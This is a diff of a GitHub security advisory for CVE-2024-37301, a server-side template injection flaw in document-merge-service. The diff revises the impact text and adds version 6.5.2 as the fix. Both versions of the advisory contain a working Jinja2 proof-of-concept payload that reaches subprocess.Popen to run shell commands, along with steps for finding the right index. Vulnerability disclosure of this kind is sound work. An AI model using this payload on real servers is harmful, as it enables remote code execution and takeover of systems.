diff --git a/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json index 2d8f1a1061d..254f60c21a3 100644 --- a/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json +++ b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-v5gf-r78h-55q6", - "modified": "2024-06-11T21:38:52Z", + "modified": "2024-06-12T19:21:00Z", "published": "2024-06-11T20:22:55Z", "aliases": [ "CVE-2024-37301" ], "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection", - "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nRCE via SSTI, as root, full takeover.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n", + "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n", "severity": [ { "type": "CVSS_V3", @@ -28,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "6.5.1" + "fixed": "6.5.2" } ] } @@ -44,6 +44,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301" }, + { + "type": "WEB", + "url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074" + }, { "type": "PACKAGE", "url": "https://github.com/adfinis/document-merge-service"